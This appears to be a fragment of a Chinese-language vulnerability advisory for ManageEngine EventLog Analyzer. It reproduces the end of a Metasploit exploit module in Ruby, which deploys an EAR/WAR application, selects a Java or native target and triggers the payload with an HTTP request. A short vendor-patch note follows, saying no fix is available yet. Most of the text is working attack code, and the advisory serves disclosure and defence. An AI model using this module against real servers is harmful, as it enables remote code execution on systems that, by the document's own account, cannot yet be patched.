ManageEngine EventLog Analyzer多个安全漏洞(4)

print_status("#{peer} - Waiting " + datastore['SLEEP'].to_s + " seconds for EAR deployment...")
    sleep(datastore['SLEEP'])
    return normalize_uri(ear_app_base, war_app_base, rand_text_alphanumeric(4 + rand(32 - 4)))
  end

  def exploit
    @my_target = pick_target
    if @my_target.nil?
      print_error("#{peer} - Unable to select a target, we must bail.")
      return
    else
      print_status("#{peer} - Selected target #{@my_target.name}")
    end

if @my_target == targets[1]
      exploit_path = exploit_java
    else
      exploit_path = exploit_native
    end

print_status("#{peer} - Executing payload...")
    send_request_cgi({
      'uri'    => normalize_uri(exploit_path),
      'method' => 'GET'
    })
  end
 end

建议：
--------------------------------------------------------------------------------
厂商补丁：

ManageEngine
 ------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：